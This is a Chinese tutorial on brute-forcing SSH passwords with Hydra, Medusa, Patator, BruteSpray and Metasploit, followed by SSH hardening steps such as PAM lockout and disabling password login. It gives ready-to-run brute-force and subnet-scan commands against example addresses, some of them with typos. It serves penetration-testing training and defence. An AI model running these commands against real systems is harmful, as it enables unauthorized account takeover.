kali-linux教程 ssh密码暴力破解和防御实战
1 hydra[海德拉]
Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
指定用户破解
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
hydra -l root -P pass.dic 192.168.106.134 ssh
用户列表破解
hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
2 Medusa[美杜莎]
Medusa是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和Hydra意义,属于在线密码破解工具。不同的是,Medusa的稳定性相较于Hydra好很多,但支持的模块要比Hydra少一些。
2.1 语法参数
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-P [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-0 [FILE] 日志信息文件
-e [n/s/ns] n代表空密码, s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-S 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-9 显示模块的使用信息
-V [NUM] 详细级别(0-6)
-W [NUM] 错误调试级别(0-10 )
-V 显示版本
-Z [TEXT] 继续扫描上一次
2.2 破解SSH密码
medusa -M ssh -h 192.168.0.1 -U root -P passlist. txt
3 patator
Patator,强大的命令行暴力破解器。
/patator.py ssh_login –help“命令后即可获取其参数的详细使用信息
在 ssh 暴力破解模块 ssh_login 中需要设置 host,port,user,password 等参数。
可用模块:
ftp_login : 暴力破解FTP
ssh_login : 暴力破解 SSH
telnet_login : 暴力破解 Telnet
smtp_login : 暴力破解 SMTP
smtp_vrfy : 使用SMTP VRFY进行枚举
smtp_rcpt : 使用 SMTP RCPT TO枚举合法用户
finger_lookup : 使用Finger枚举合法用户
http_fuzz : 暴力破解 HTTP
ajp_fuzz : 暴力破解 AJP
pop_login : 暴力破解 POP3
pop_passd : 暴力破解 poppassd (http://netwinsite.com/poppassd/)
imap_login : 暴力破解 IMAP4
ldap_login : 暴力破解 LDAP
smb_login : 暴力破解 SMB
smb_lookupsid : 暴力破解 SMB SID-lookup
rlogin_login : 暴力破解 rlogin
vmauthd_login : 暴力破解 VMware Authentication Daemon
mssql_login : 暴力破解 MSSQL
oracle_login : 暴力破解 Oracle
mysql_login : 暴力破解 MySQL
mysql_query : 暴力破解 MySQL queries
rdp_login : 暴力破解 RDP (NLA)
pgsql_login : 暴力破解 PostgreSQL
vnc_login : 暴力破解 VNC
dns_forward : 正向DNS 查询
dns_reverse : 反向 DNS 查询
snmp_login : 暴力破解 SNMP v1/2/3
ike_enum : 枚举 IKE 传输
unzip_pass : 暴力破解 ZIP加密文件
keystore_pass : 暴力破解Java keystore files的密码
sqlcipher_pass : 暴力破解 加密数据库SQL Cipher的密码-
umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
tcp_fuzz : Fuzz TCP services
dummy_test : 测试模块
3.1 破解SSH密码
patator ssh_login host=10.0.0.1 user= root password=FILEO 0=passwords.txt -X ignore: mesg-' Authentication failed. '
patator ssh_login host=192.168.0.1 user=root password=FILE0 0=passlist.txt
patator ssh_login host=192.168.0.1 user=root password=FILE0 0=passlist.txt -X ignore:mesg= ' Authentication failed. '
4 Brutespray
BruteSpray是一款基于Nmap扫描输出的gnmap/XMl文件,自动调用Medusa对服务进行爆破。
4.1 语法参数
-f FILE, --file FILE 参数后跟一 个文件名,解析nmap输出的GNMAP或者XML文件
-o OUTPUT, --output OUTPUT 包含成功尝试的目录下
-s SERVICE, --service SERVICE 参数后跟-个服务名,指定要攻击的服务
-t THREADS, --threads THREADS参 数后跟一数值, 指定medus a线程数
-T HOSTS, --hosts HOSTS K参数后跟一数值,指定同时测试的主机数
-U USERLIST, --userlist USERLIST 参数后跟用户字典文件
-P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件
-u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破
-p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破
-C,–continuous 成功之后继续爆破
-i, – interactive 交互模式
4.2 nmap扫描
(1)扫描整个内网C段
nmap -v 192.168.17.0/24 -oX nmap.xml
(2)扫描开放22端口的主机
nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml
(3)扫描存活主机
nmap –sP 192.168.17.0/24 -oX nmaplive.xml
(4)扫描应用程序以及版本号
nmap -sV –O 192.168.17.0/24 -oX nmap.xml
4.3 字典爆破
brutespray --file 22.xml -U user1ist.txt-p passlist.txt --threads 5 --hosts 5
#主机多的话 后面加 -C ----成功之后继续爆破
#查看成功的日志文件 cat/root/brutespray-output/ssh-success.txt
5 MSF
Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。
5.1 SSH模块
root@kali:~# msfconsole
msf > search ssh
show options ----展示当前模块设置参数 选项/变量 查看用的
5.2 SSH用户枚举
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers) > set phosts 192.168.0.1
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run
5.3 SSH版本探测
msf > use auxiliary/scanner/ssh/ssh_ version
msf auxiliary( scanner/ssh/ssh_ _version) > set rhosts 192.168.0.1
msf auxiliary( scanner/ssh/ssh_ _version) > run
5.4 SSH暴力破解
msf > use auxiliary/scanner/ssh/ssh plogin
msf auxiliary( scanner/ssh/ssh_login) > set rhosts 192.168.0.1
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run
6 暴力破解防御
6.1 useradd shell [推荐]
新建用户时:
useradd yangge -s /sbin/nologin
6.2 密码的复杂性[推荐]
字母大小写+数字+特殊字符+20位以上+定期更换
6.3 修改默认端口[推荐]
vi /etc/ssh/sshd_config
Port 22222
systemctl restart sshd
6.4 限制登录的用户或组[推荐]
vi /etc/ssh/sshd_config
#PermitRootLogin yes
AllowUsers test ----test用户
systemctl restart sshd[ root@kali ~]# man sshd_ config
AllowUsers AllowGroups DenyUsers DenyGroups
6.5 使用sudu(推荐)
6.6 设置允许的IP访问[可选]
/etc/hosts.allow,例如sshd:192.168.0.1:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机
6.7 使用DenyHosts自动统计,并将其加入到/etc/hosts . deny
6.8 基于PAM实现登录限制[推荐]
模块: pam_tally2. so
功能:登录统计
示例:实现防止对sshd暴力破解 /etc/pam.d/sshd 插入下面的这句话
[root@tkali ~]# grep tally2 /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=60
#密码输错两次 连root用户也不例外 锁定60秒
6.9 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no
6.10 保护xshel1导出会话文件[小心]
6.11 GRUP加密【针对本地破解】
…
kali-linux教程 ssh密码暴力破解和防御实战相关推荐
- SSH密码暴力破解及防御实战
前言:本文对目前流行的 SSH 密码暴力破解工具进行实战研究.分析和总结,对渗透攻击测试和安全防御具有一定的参考价值. 首先介绍几款常用的ssh暴力破解工具: 1. hydra [海德拉] 指定用户破 ...
- SSH密码暴力破解及防御实战----攻
1.实验环境 准备一台装有kali的虚拟机和一台ssh端口开放的虚拟机 这里面的暴力破解全是使用的kali里面自带的软件破解的. kali 192.168.13.145 #装有kali的虚拟机 loc ...
- Linux SSH密码暴力破解技术及攻防实战
对于Linux操作系统来说,一般通过VNC.Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group ...
- Linux主机密码暴力破解
一.目的 针对Linux主机SSH协议暴力破解过程以及漏洞原理和修复方式详细介绍. 二.漏洞介绍 2.1 漏洞原因 由于主机用户没有设置密码或者设置了linux弱密码,且未对主机设置严格的基线 ...
- 密码暴力破解漏洞(kali crunch)
目录 1.密码安全 2.漏洞利用 3.不安全的密码 4.密码猜解思路 5. 字典wordlist 5.1 kali字典 5.2 github字典 6.专用字典 6.1 指定格式字典 6.2 社工字典 ...
- kali linux ssh不要密码登录密码,kali linux 登录ssh服务常见问题
kali linux 登录ssh服务常见问题 kali linux 登录ssh服务常见问题 kali linux 登录ssh服务常见问题 一.ssh简介 1.层次 2.ssh解决问题 二.服务器发送了 ...
- linux密码暴力破解之SHA-512破解
linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...
- linux密码暴力破解之SHA-512破解(转载)
原文来自:linux密码暴力破解之SHA-512破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统 ...
- 开源服务专题之------ssh防止暴力破解及fail2ban的使用方法
15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/roo ...
最新文章
- svn清理失败且乱码 问题解决(转)
- python提取两个引号中的内容,怎样用 Python 提取不在双引号的内容?
- Auto Encoder用于异常检测
- eclipse奇淫技巧 (转)
- SQL语言之数据导入导出(Oracle)
- Java黑皮书课后题第8章:*8.26(行排序)用下面的方法实现一个二维数组中的行排序。返回新数组,且原数组保持不变。编写一个测试程序,提示用户输入一个3*3的double型矩阵,显示一个排好的矩阵
- DataNode,NameNode,JobTracker,TaskTracker用jps查看无法启动解决办法
- 学习Spring Boot:(十三)配置 Shiro 权限认证
- HALCON学习之旅(五)
- go 链路追踪_Go技术日报(20200911)
- Docker学习总结(17)——学会使用Dockerfile
- hbase 查询_不用ES也能海量数据复杂查询秒回
- 使用Spring.Net进行Webservice开发发布遇到的问题
- bootstrap-徽章-链接
- 【系统分析师之路】 第八章 复盘软件测试与维护(软件维护)
- 如何隐藏电脑下方工具栏个别图标_电脑下方隐藏小图标怎么设置
- 正则验证车牌号码,包含新能源车牌
- 大学生学C语言用什么笔记本电脑,有哪些适合大学生用的笔记本电脑
- flink Too many fields referenced from an atomic type
- 《平衡掌控者 游戏数值战斗设计》学习笔记(五)物品掉落